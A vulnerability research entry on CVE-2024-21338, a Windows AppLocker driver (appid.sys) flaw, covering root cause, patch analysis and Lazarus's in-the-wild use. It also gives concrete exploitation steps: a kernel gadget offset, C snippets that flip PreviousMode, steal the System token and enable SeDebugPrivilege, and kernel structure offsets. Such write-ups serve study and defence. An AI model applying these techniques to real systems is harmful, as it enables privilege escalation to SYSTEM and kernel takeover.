CVE-2024-21338 — AppLocker Driver Untrusted Pointer Dereference (appid.sys)
Last updated: 2026-04-11
Severity: High
Component: appid.sys (Windows AppLocker driver)
Bug Class: Untrusted Pointer Dereference → Arbitrary Address Write
Privilege Escalation: LocalService → SYSTEM; also exploited as Administrator → kernel (Lazarus FudModule rootkit)
Patch: February 2024 Patch Tuesday
Tags:kernel-mode,aaw,token-steal,driver,kcfg,smep
Related: Primitives, Mitigations, Researchers
Vulnerability Summary
appid.sys (AppLocker Policy Driver) processes IOCTL 0x22A018 via AipSmartHashImageFile() → AppHashComputeFileHashesInternal() → AppHashComputeImageHashInternal(). The final function performs two indirect calls through callback pointers whose source is the user-supplied input buffer. An attacker can control both the call target and the first argument, yielding complete RIP takeover from the kernel’s perspective.
ACL restriction: Only LOCAL SERVICE and the AppIDSvc service account have \Device\Appid open permissions. This limits the attack surface — an exploit must run as LocalService or impersonate AppIDSvc.
Driver loading: appid.sys is not loaded by default. Must be loaded via Service Manager or by sending an event to an AppLocker-related ETW provider to start the AppID service.
Root Cause Analysis
Vulnerable Structure (input to IOCTL 0x22A018)
typedef struct _HASH_IMAGE_FILE {
PVOID ImageContext; // +0x00 attacker-controlled; write target = ImageContext + 0x2078
FILE_OBJECT *FileObject; // +0x08 must be a valid kernel FILE_OBJECT pointer
PVOID CallbackTable; // +0x10 attacker-controlled; VALUE written at target address
ULONGLONG Action; // +0x18 unused for exploitation
} HASH_IMAGE_FILE, *PHASH_IMAGE_FILE;
Call Graph
IOCTL 0x22A018 received
└─► AipSmartHashImageFile(input_buf)
└─► AppHashComputeFileHashesInternal(ImageContext, FileObject)
└─► AppHashComputeImageHashInternal(ImageContext, CallbackTable)
└─► (*CallbackTable[0])(ImageContext, ...) ← RIP hijack
└─► (*CallbackTable[1])(...) ← second callback
Both ImageContext (first argument) and CallbackTable (pointer to callback array) flow directly from the user-controlled buffer without validation.
Exploitation Technique
Challenge: SMEP + kCFG
- SMEP: calling a user-mode address from ring 0 is blocked; must point to a kernel-space address.
- kCFG (without HVCI): requires the indirect call target to be within kernel address space (bit 63 set). A random kernel gadget suffices; full CFG bitmap check only applies under HVCI.
The standard approach (nt!SeSetAccessStateGenericMapping) requires a first-argument struct of ≥ 0x50 bytes but the IOCTL input is only 0x20 bytes.
Chosen Gadget: nt!DbgkpTriageDumpRestoreState
Offset from ntoskrnl base (Win11): 0x7f06e0
Effect: *(ImageContext + 0x2078) = *(input + 0x10) i.e., writes CallbackTable to (ImageContext + 0x2078)
This is a data-only AAW gadget: no user-mode instruction is reached, so SMEP is never triggered. The callback is a valid kernel function entry point, bypassing kCFG’s address-range check.
The gadget essentially performs:
// What DbgkpTriageDumpRestoreState does with the given inputs:
*(PVOID *)(ImageContext + 0x2078) = CallbackTable;
VirtualAlloc Aligned-Pointer Trick
The value written must encode the desired effect in its low bytes. VirtualAlloc allocations are page-aligned (0x1000 boundary), so the low 12 bits of the returned pointer are always 0x000. Allocating at hint address 0x100000 ensures the full 64-bit value is 0x0000000000100000 — a non-null, kernel-safe-looking value whose bit 20 is set (= SeDebugPrivilege bitmask position) and whose low byte is 0x00 (= kernel PreviousMode value).
// Forces allocation at 0x100000 — upper bytes 0, low bytes exactly page-aligned
ULONGLONG *CbTbl = VirtualAlloc((VOID*)0x100000, 0x100, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
CbTbl[0] = ntoskrnl_base + 0x7f06e0; // DbgkpTriageDumpRestoreState
CbTbl[1] = GetGadgetAddr("HalDisplayString"); // second callback (harmless)
Exploit Path 1: PreviousMode Flip → Kernel AAR/AAW → Token Steal
Target: _KTHREAD.PreviousMode at kThreadAddr + 0x232 (Win11)
DataStruct->ImageContext = kThreadAddr + 0x232 - 0x2078;
DataStruct->FileObject = pFileObject; // valid FILE_OBJECT from CreateFileA("temp.txt")
DataStruct->CallbackTable = (PVOID)0x100000;
// Gadget writes: *(kThreadAddr + 0x232) = 0x100000
// Low byte at +0x232 = 0x00 → PreviousMode = KernelMode
After PreviousMode is 0 in the worker thread:
NtReadVirtualMemory/NtWriteVirtualMemorywithhProc = GetCurrentProcess()operate on kernel addresses without bounds checks- Walk
EPROCESS.ActiveProcessLinksfrom current EPROCESS to find System (PID=4) - Copy
EPROCESS.Tokenfrom System process to current process - Restore: write
0x801(8 bytes) back tokThreadAddr + 0x232— restores PreviousMode=1 (UserMode) and adjacentKernelApcDisable/priority byte=8
// Restore PreviousMode — MUST be done before thread exits to avoid KPP fault
ULONGLONG original_value = 0x801; // PreviousMode=1 (UserMode), BasePriority=8
NtWriteVirtualMemory(hProc, (PVOID)(kThreadAddr + 0x232), &original_value, 8, 0);
Relevant offsets (Win10 22H2 / Win11, confirmed):
| Field | Offset |
|---|---|
KTHREAD.PreviousMode | +0x232 |
KTHREAD.KPROCESS (ApcState.Process) | +0x220 |
EPROCESS.UniqueProcessId | +0x440 |
EPROCESS.ActiveProcessLinks | +0x448 |
EPROCESS.Token | +0x4B8 |
Exploit Path 2: SeDebugPrivilege Enable → Parent-Process Spoof → SYSTEM
Target: _SEP_TOKEN_PRIVILEGES at kTokenAddr + 0x40 (OFFSET_PRIVILEGES)
_SEP_TOKEN_PRIVILEGES layout:
+0x00 Present : ULONGLONG (bitmask of privileges present in token)
+0x08 Enabled : ULONGLONG (bitmask of currently enabled privileges)
+0x10 EnabledByDefault: ULONGLONG
SeDebugPrivilege= bit 20 → bitmask0x100000VirtualAllocat0x100000produces the exact bitmask value needed
// Trigger 1: write 0x100000 to kTokenAddr+0x40 (Present field)
DataStruct->ImageContext = kTokenAddr + 0x40 - 0x2078;
// Trigger 2: write 0x100000 to kTokenAddr+0x48 (Enabled field)
DataStruct->ImageContext += 8;
After both triggers, SeDebugPrivilege is present and enabled. The process can now open winlogon.exe (SYSTEM-level) and spawn a child that inherits winlogon’s token via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS:
// Open winlogon
HANDLE hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetPidByName(L"winlogon.exe"));
// Spawn cmd.exe inheriting winlogon as parent → gets SYSTEM token
CreateProcessA(NULL, "cmd.exe", ..., EXTENDED_STARTUPINFO_PRESENT|CREATE_NEW_CONSOLE,
..., &si_with_PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pi);
Advantage over PreviousMode path: No need to restore kernel state (privilege bits stay set; process exits normally). Simpler but permanently mutates the token.
Key Primitives Used
| Primitive | Source |
|---|---|
| KASLR defeat | NtQuerySystemInformation(SystemModuleInformation) — works from LocalService |
| Kernel object pointer leak | NtQuerySystemInformation(SystemHandleInformation) — enumerate all handles; match by PID + handle value |
| Arbitrary 8-byte kernel write | DbgkpTriageDumpRestoreState gadget via IOCTL 0x22A018 |
| kCFG bypass | Data-only gadget — no indirect call to user-mode, only a kernel write |
| Unlimited kernel R/W | NtReadVirtualMemory / NtWriteVirtualMemory after PreviousMode flip |
| Token steal | EPROCESS walk → token copy (Path 1) |
| Privilege escalation | _SEP_TOKEN_PRIVILEGES.Present/Enabled bit set (Path 2) |
| SYSTEM shell | Parent-process spoofing via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (Path 2) |
Handle Type Numbers (SystemHandleInformation)
| Type | Object |
|---|---|
| 7 | Token |
| 8 | Thread |
| 37 | File |
Mitigations Bypassed
| Mitigation | Status | Method |
|---|---|---|
| SMEP | Bypassed | Gadget is kernel-space code; no user-mode execution |
| kCFG (no HVCI) | Bypassed | Kernel address range check passes; no indirect call to user memory |
| KASLR | Trivial | NtQuerySystemInformation(SystemModuleInformation) works from LocalService |
| HVCI | Not bypassed | Exploit uses data-only attacks; HVCI blocks unsigned code but not data writes |
Proof-of-Concept Notes
- Author: Bùi Quang Hiếu (hieu.q), Crowdfense — published 2024-08-01
- Original ITW usage: Lazarus Group FudModule rootkit (Avast disclosure) — admin-to-kernel via same IOCTL, used to disable kernel security callbacks for rootkit persistence
- PoC language: C (Windows.h, winternl.h, ntdll.lib)
- Compilation: Standard MSVC;
ntdll.libfor NtReadVirtualMemory/NtWriteVirtualMemory prototypes - Run as: LocalService (via AppIDSvc context) or any process with permissions to open
\Device\Appid
Driver Loading Snippet
The AppID service must be running. For testing, either:
- Start the AppIDSvc service via Service Manager, or
- Send an event to an AppLocker-related ETW provider to trigger driver load
Patch Analysis
The February 2024 patch adds validation of the CallbackTable pointer in AppHashComputeImageHashInternal() — the pointers from _HASH_IMAGE_FILE are no longer treated as trusted kernel addresses before use. The function now validates that the callback targets are within the expected kernel range (or are pre-registered function pointers), breaking the arbitrary RIP control.
In-the-Wild Usage
Lazarus Group (FudModule Rootkit):
- Detected and reported by Avast (Jan Vojtesek, 2024)
- Exploited as admin-to-kernel zero-day (not LocalService) — demonstrates the ACL is also accessible from admin processes
- Used to remove/disable kernel callbacks (ObRegisterCallbacks, PsSetCreateProcessNotifyRoutine) for rootkit persistence
- Called “FudModule” because the rootkit module evaded AV detection (FUD = Fully UnDetectable)
- Reference: “Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day” — Avast Decoded blog, 2024
References
- Bùi Quang Hiếu (hieu.q) / voidsec, “Windows AppLocker Driver LPE Vulnerability - CVE-2024-21338”, Crowdfense, 2024-08-01
- Jan Vojtesek, “Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day”, Avast Decoded, 2024
- MSRC Advisory: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338
- BlueFrost CVE-2019-1215 exploit (ws2ifsl) — same
SystemHandleInformationpattern referenced in PoC code - CVE-2023-28252 CLFS analysis (qianxin) —
SeSetAccessStateGenericMappinggadget pattern referenced in PoC
